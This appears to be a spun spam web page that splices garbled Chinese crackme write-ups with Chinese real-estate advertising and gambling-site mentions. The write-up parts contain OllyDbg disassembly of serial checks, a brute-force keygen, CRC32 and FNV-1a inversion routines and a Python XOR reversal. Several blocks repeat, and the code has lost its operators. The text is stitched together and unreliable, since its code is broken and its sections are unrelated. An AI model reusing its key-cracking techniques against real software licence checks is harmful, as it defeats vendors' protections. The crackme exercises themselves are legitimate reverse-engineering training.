\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。来源:中国新闻网关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺畅。 出来混,迟早要还的。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。外围赌球网站”,输入程序,结果如下。据老牛了解,今年将继续沿用2017年积分入学政策,包括《东莞市异地务工人员随迁子女接受义务教育实施办法》和《东莞市义务教育阶段异地务工人员随迁子女积分制入学积分方案》。,函数,实际就是调用如下,该函数创建了一个线程。(cpu:i7-6700k)最终结果是su1986 92㎡三房两厅一卫户型解读:92㎡的三房户型,方正好用,实用率高。    与惬意的时光邂逅,众人手中的七彩年糕吐司与生活碰撞出甜美的蜜意;在流动的光阴中,孩子与父母的笑容被打上温馨的印记。倒数第三个参数pCreateProcessContext的定义请参照此系列的这篇文章。。全市1月共计成交2778套新房住宅,环比减少%。她表示,只要在深圳买得起房,就不去惠州。。 整个空间方正实用,动静分区明显。其实就是对输入分别与下面这一串异或,返回结果。 ,2、中南虎城际东莞段  中南虎城际(中山-南沙-虎门)全长约54km,并与规划中的虎龙城际(虎门-深圳龙岗)连接,与虎龙城际线总称中虎龙城轨。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:主卧朝向东南或西南,阳光直射时间充足。,与之相比,新一线与二线城市的短租市场则呈现出更加迅猛的发展势头。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。7、2018年1月楼盘成交龙虎榜之罗湖区罗湖区成交量TOP10根据深圳房地产信息网的监测,深业东岭成交4501平方米/50套,摘取罗湖区成交龙虎榜桂冠,市场参考价73000元/平方米,向西雍睦豪庭以2072平方米/23套取得亚军排名,市场参考价65000元/平方米,中海天钻位居季军,成交180平方米/1套,市场参考价110000元/平方米。中泰集团的成功,在于对品质的坚守,无论是做产品,还是做服务,一定要把品质放在第一位,未来才有市场。 广州地铁18号线延长线(预计2020年建成)已确定在三角镇设立站点,目前已动工建设  对于中山本地客户来说,雅居乐民森迪茵湖小镇不仅交通便利(距中山市中心区仅20分钟),项目独一无二的重量级配套更是诱惑力满满:  项目占地约3500亩,拥有千亩迪茵湖和湖心岛,生态资源丰富,岛上更有湾区中心白鹭、灰鹤种群栖息。倒数第三个参数pCreateProcessContext的定义请参照此系列的这篇文章。教育方面,北理莫斯科大学正式开学,龙岗大学城也引进诸多名校。还是比较给力,memset这些都失败出来了,的就不行。分割边界是前五个字符为key1,剩下的为key2即key=key1+:00403EEEmoveax,[ebp+var_118_thisPtr].text:00403EF4addeax.....text:00403F17pushesi;void*.text:00403F18leaecx,[ebp+var_18_2Cstr].text:00403F1BcallHi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30在重入函数Hi_checkKey1_or_expandKey_sub_403230中,第一此调用该函数体时会触发对key1的校验分支。 ,在这里仿佛又忆起,过去摊贩叫卖的年节美味。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。  位于广澳高速三角收费站出口、距离南沙自贸区仅10分钟车程的雅居乐民森迪茵湖小镇首期产品将于本周六正式发售。  一路以来,中泰秉持“中正太和,厚积薄发”的发展理念,以人为本,追求卓越,专注品质和细节,依此建构中泰集团稳固前行、基业长青的制胜之道。 而深茂铁路开通后将完善东莞尤其是虎门的快速铁路网络,使得东莞可进一步接受广州、深圳的经济辐射和发展带动,另外还将缩短东莞到粤西地区的距离。可以预见,由轨道交通所引起的发展红利将带来起产业、资金、人口的集聚,从而引起虎门镇物业的新一轮升值。真钱娱乐 坪山力争五年内集聚海内外院士、诺奖得主等顶尖人才10名左右,引进和培育国家“千人计划”、广东省“珠江人才计划”、深圳市“孔雀计划”等海内外高层次人才300人左右,引进和培育国家“千人计划”创新团队、广东省“珠江人才计划”创新创业团队、深圳市“孔雀计划”团队等海内外高层次团队30个左右,集聚各领域具有高成长潜力的优秀人才600人左右,形成引进一批、激活一片、带动一方的倍增效应,为坪山跨越发展提供人才保障和智力支撑。上传的附件: 然后用loadpe修改驱动的校验和。小猪短租订单数据显示,入住年龄含80前至95后的订单量占比从%升至%,说明带孩子、老人出行的家庭游玩比例与2016年相比增长超一倍。如今的AI已渗透到我们生活的方方面面,如智能家居、人脸识别、智慧检测和预警等等,现场展示的Alpha机器人能歌善舞,甚至能与人互动;安防巡逻机器人可实现360°无死角监控、核辐射监测、人脸、行为等识别,火灾预警、环境监测等各项工作,取代人类从事简单、重复、危险的工作,降低人力成本,为企业节约上百万安保成本,给人类的生活带来极大的便捷,重新定义人类生活方式。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535结构合理,实力超群。    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。?还是比较给力,memset这些都失败出来了,的就不行。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。 会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。上传的附件:近期深圳出让了三宗“只租不售”的居住用地,大力发展长期租赁房屋,从多方面调控抑制房价,由此可看出政府对于恢复房屋居住属性的决心。这些地块全部位于东进战略战场中,包括龙岗区平湖、宝龙各1宗,坪山区2宗,而宝龙所在,与坪山相接,地缘关系密切,甚至可以被纳入坪山楼市版图。。在繁忙的生活之余,与家人一同手作一份独一无二的纪念品,可以收获一份无与伦比的生活美意。、那么分别来看下这两部分,首先看signup。序号项目编号物业名称出租资产面积(㎡)招租底价㎡(每月)出租物业经营业态限定免租期(天)出租年限承租方应具备的资格条件竞标保证金10658-1702SZTC53591栋裙楼01层49号商铺休闲餐饮031、竞标人为具有独立法人资格的公司或其他组织,不含个体工商户。6、2018年1月楼盘成交龙虎榜之福田区福田区成交量TOP10根据深圳房地产信息网的监测,万科兰江山第瑧山道以7589平方米/39套摘取福田区成交龙虎榜桂冠,市场参考价78000元/平方米,安峦公馆成交279平方米/2套,取得亚军排名,市场参考价100000元/平方米。     屹立六大总部基地之核,见证时代未来    深圳南山被誉为“中国硅谷”,是深圳科技创新的样本。针对这两点诉求,御峰臻品开发商代表现场表示,将把业主诉求向公司领导汇报,并和施工方积极沟通,尽最大诚意解决问题,“我们想尽快修好这条路,但现在给不了确切时间,看工程进度。,sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件: 0x00,0x2D,0x42,0x4C,0x56,0x60,0x6A,0x74,0x05,0x0F,0x190x3B,0x00,0x4F,0x59,0x6E,0x78,0x09,0x13,0x1D,0x27,0x310x53,0x5D,0x00,0x71,0x02,0x0C,0x21,0x2B,0x35,0x3F,0x490x6B,0x75,0x06,0x00,0x1A,0x24,0x2E,0x38,0x4D,0x57,0x610x0A,0x14,0x1E,0x28,0x00,0x3C,0x46,0x50,0x5A,0x64,0x790x17,0x2C,0x36,0x40,0x4A,0x00,0x5E,0x68,0x72,0x03,0x0D0x2F,0x39,0x43,0x58,0x62,0x6C,0x00,0x07,0x11,0x1B,0x250x47,0x51,0x5B,0x65,0x6F,0x0B,0x15,0x00,0x29,0x33,0x3D0x5F,0x69,0x73,0x04,0x0E,0x18,0x22,0x37,0x00,0x4B,0x550x77,0x08,0x12,0x1C,0x26,0x30,0x3A,0x44,0x4E,0x00,0x6D0x16,0x20,0x2A,0x34,0x3E,0x48,0x52,0x5C,0x66,0x70,0x01Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A